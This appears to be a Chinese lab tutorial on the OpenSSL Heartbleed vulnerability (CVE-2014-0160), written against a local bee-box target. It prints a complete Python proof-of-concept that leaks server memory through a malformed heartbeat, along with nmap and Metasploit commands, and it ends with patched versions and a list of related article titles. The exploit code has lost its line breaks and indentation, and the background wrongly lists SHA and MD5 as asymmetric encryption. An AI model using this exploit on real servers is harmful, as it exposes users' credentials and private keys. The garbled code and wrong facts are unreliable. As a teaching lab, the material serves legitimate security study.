一、漏洞介绍

2014年,互联网安全协议OpenSSL被爆出存在一种十分严重的漏洞。
在黑客社区,被命名为“心脏滴血” ,黑客通过利用该漏洞,可以获取到%30开头的https网站的用户名和密码,漏洞还影响到使用OpenSSL加密的产品。

二、漏洞分析

OpenSSL是通过加密算法来保证数据通信的私密性。
加密算法:
对称加密算法(AES、DES、3DES)
非对称加密算法(RSA/DSA/SHA/MD5)
而OpenSSL是使用公开的非对称加密算法RSA来加密的。
此次漏洞的成因是OpenSSL Heartbleed模块存在一个BUG,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中长达64K的数据。

三、漏洞测试

测试环境
攻击机:kali linux
IP:192.168.220.138
目标机:bee-box(bwap)
IP:192.168.220.160
查看目标机ip能与目标机ping通

使用靶机进行测试
靶机下载地址(beebox/bwapp):
https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download

poc下载

https://github.com/decal/ssltest-stls.git
#代码如下
#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)# Modified by Derek Callaway (decal@ethernet.org) to add STARTTLS protocols# The authors disclaim copyright to this source code.import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', type='string', default='', help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp')def h2bin(x):return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')hb = h2bin('''
18 03 02 00 03
01 40 00
''')def hexdump(s):for b in xrange(0, len(s), 16):lin = [c for c in s[b : b + 16]]hxdat = ' '.join('%02X' % ord(c) for c in lin)pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)print '  %04x: %-48s %s' % (b, hxdat, pdat)printdef recvall(s, length, timeout=4):endtime = time.time() + timeoutrdata = ''remain = lengthwhile remain > 0:rtime = endtime - time.time()if rtime < 0:return Noner, w, e = select.select([s], [], [], 5)if s in r:data = s.recv(remain)# EOF?if not data:return Nonerdata += dataremain -= len(data)return rdatadef recvmsg(s):hdr = recvall(s, 5)if hdr is None:print 'Unexpected EOF receiving record header - server closed connection'return None, None, Nonetyp, ver, ln = struct.unpack('>BHH', hdr)pay = recvall(s, ln, 10)if pay is None:print 'Unexpected EOF receiving record payload - server closed connection'return None, None, Noneprint ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay = recvmsg(s)if typ is None:print 'No heartbeat response received, server likely not vulnerable'return Falseif typ == 24:print 'Received heartbeat response:'hexdump(pay)if len(pay) > 3:print 'WARNING: server returned more data than it should - server is vulnerable!'else:print 'Server processed malformed heartbeat, but did not return any extra data.'return Trueif typ == 21:print 'Received alert:'hexdump(pay)print 'Server returned error, likely not vulnerable'return FalseBUFSIZ = 1024def main():opts, args = options.parse_args()if len(args) < 1:options.print_help()returns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print 'Connecting...'s.connect((args[0], opts.port))if opts.starttls != '':print 'Sending STARTTLS Protocol Command...'if opts.starttls == 'smtp':s.recv(BUFSIZ)s.send("EHLO openssl.client.net\n")s.recv(BUFSIZ)s.send("STARTTLS\n")s.recv(BUFSIZ)if opts.starttls == 'pop3':s.recv(BUFSIZ)s.send("STLS\n")s.recv(BUFSIZ)if opts.starttls == 'imap':s.recv(BUFSIZ)s.send("STARTTLS\n")s.recv(BUFSIZ)if opts.starttls == 'ftp':s.recv(BUFSIZ)s.send("AUTH TLS\n")s.recv(BUFSIZ)if opts.starttls == 'xmpp': # TODO: This needs SASLs.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n")s.recv(BUFSIZ)print 'Sending Client Hello...'s.send(hello)print 'Waiting for Server Hello...'while True:typ, ver, pay = recvmsg(s)if typ == None:print 'Server closed connection without sending Server Hello.'return# Look for server hello done message.if typ == 22 and ord(pay[0]) == 0x0E:breakprint 'Sending heartbeat request...'sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ == '__main__':main()

靶机设置
1、选择 heartbleed Vulnerability选项。
2、有提示端口信息和攻击测试脚本。
端口为8443

python脚本利用

1、使用nmap的ssl-heartbleed.nse脚本探测是否存在漏洞。

nmap -p 8443 --script ssl-heartbleed.nse 192.168.220.160

经过探测发现目标主机有该漏洞,接下来可以利用。

2、使用python编写的poc进行漏洞利用。
执行以下命令返回以下结果

python ssltest-stls.py 192.168.220.160 -p 8443


说明存在该漏洞,利用成功!
msf利用
1、启动msf控制台

2、设置模块

use auxiliary/scanner/ssl/openssl_heartbleed


3、查看参数

4、设置参数

set RHOSTS 192.168.220.160 设置目标地址
set RPORT 8443 设置目标端口
set verbose 设置监听信息


5、攻击

攻击者可以追踪OpenSSL缓存中的64KB信息,耐心的拼凑出想要信息,危害比较大!!

检测技术

hhttps://github.com/decal/ssltest-stls.git
nmap ssl-heartbleed.nse 脚本检测

漏洞修补
受影响版本
OpenSSL 1.0.1
OpenSSL 1.0.1a ~OpenSSL 1.0.1f
OpenSSL Beta 1
OpenSSL 1.0.2
非受影响版本
OpenSSL 1.0.1 g
OpenSSL 1.0.0 branch
OpenSSL 0.9.8 branch

参考学习

http://www.broadview.com.cn/book/4850
https://www.freebuf.com/articles/people/194171.html

OpenSSL心脏滴血漏洞(CVE-2014-0160)相关推荐

  1. OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)

    Heartbleed 心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议.它于2012年被引 ...

  2. openssl心脏滴血漏洞

    Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查.攻击者可以追踪OpenSSL所分配的64KB ...

  3. 渗透测试-Openssl心脏出血漏洞复现

    心脏滴血 早在2014年,互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞.在黑客社区,它被命名为"心脏出血",表明网络上出现了"致命内伤".利用该漏 ...

  4. linux 心脏滴血漏洞,心脏出血漏洞(heartbleeder 自动检测 OpenSSL 心脏出血漏洞 (附修复指南))...

    心脏出血漏洞(heartbleeder 自动检测 OpenSSL 心脏出血漏洞 (附修复指南)),哪吒游戏网给大家带来详细的心脏出血漏洞(heartbleeder 自动检测 OpenSSL 心脏出血漏 ...

  5. 心脏滴血漏洞详解及利用--HeartBleed With OpenSSL

    [事件规则] OpenSSL"心脏出血"漏洞是一个非常严重的问题.这个漏洞使攻击者能够从内存中读取多达64 KB的数据.也就是说,只要有这个漏洞的存在,在无需任何特权信息或身份验证 ...

  6. “心脏滴血漏洞”测评经验分享

    "心脏滴血漏洞"测评经验分享 1 前言 1.1 编写目的 经验分析贴,赚C币买文章: 1.2 读者对象 本文档读者对象为:测评相关工程师.项目管理者.测试工程师.质量管理人员.文档 ...

  7. 【web攻防】破壳漏洞【CVE-2014-6271】与心脏滴血漏洞 【CVE-2014-0160】 docker 复现 学习过程

    其实最近的确是想更新一些文章的,但一直在忙于挖洞和挖洞技巧学习,前者肯定不能发真实案例,后者学的太零碎太杂,自己也处于一个积累的过程,发一些边边角角的内容也没意思. 虽然相比以前的确有了一点进步,但我 ...

  8. Openssl“心脏出血”漏洞分析及其利用

    一.openssl漏洞形成原因 4月7日,互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞.在黑客社区,它被命名为"心脏出血",表明网络上出现了"致命内伤&qu ...

  9. “心脏滴血”漏洞复现

    "心脏滴血"简介: Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查.攻击者可以追踪OpenSSL所分配的64KB缓存.将超 ...

最新文章

  1. mysql缺少函数_零散的MySQL基础总是记不住?看这一篇就够了!
  2. 使用NETSH来绑定ARP
  3. 数据库实例:mysql与mongo结合用户登录
  4. wp博客链接.html,WordPress博客文章标题链接到自定义网址链接
  5. spring和spring_Spring MVCGradle
  6. python实现mysql的读写分离及负载均衡
  7. 7. keras - 模型的保存与载入
  8. 《大型网站技术架构》学习笔记
  9. python 椭圆曲线加法_椭圆曲线上点的运算
  10. 王者荣耀微信登陆不了服务器,王者荣耀微信区怎么登陆不了 王者荣耀微信区怎么登不上...
  11. 这可能是介绍 ZooKeeper 最好的文章了
  12. 《数学之美》中的模型及启示总结
  13. 深入理解IGMP协议
  14. 中国没有掌握的尖端技术_适用于所有人的尖端AAA遮光技术
  15. 老男孩46期—冯仁波
  16. itu ftp address
  17. [Leetcode学习-c++java]Count Sorted Vowel Strings
  18. August 21st 2016 Week 35th Sunday
  19. 基于淘宝评价的采集与产品爆款挖掘分析
  20. sql脚本之flush privileges的用法

热门文章

  1. 工业设备如何上云?比如能耗仪表设备、智能设备、生产通用设备(冲压机、机床CNC。。)、新能源设备等
  2. 最新kali之clang++
  3. 第十二届“中国软件杯”大学生软件设计大赛线下集训营·武汉站活动圆满结束...
  4. MyApplication
  5. esxi虚拟化服务器端口聚合,配置ESXi的端口聚合.docx
  6. 计算机毕业论文内容参考|基于Android的旅游攻略APP的设计与实现
  7. 【机器学习】信用卡欺诈检测 (下采样、SMOTE过采样、集成学习、Pytorch)
  8. 台湾知名作家林清玄逝世 曾致力于两岸文化交流
  9. 个人如何免费申请一个微信小程序账号进行开发尝鲜
  10. linux wireshark安装包,linux下安装wireshark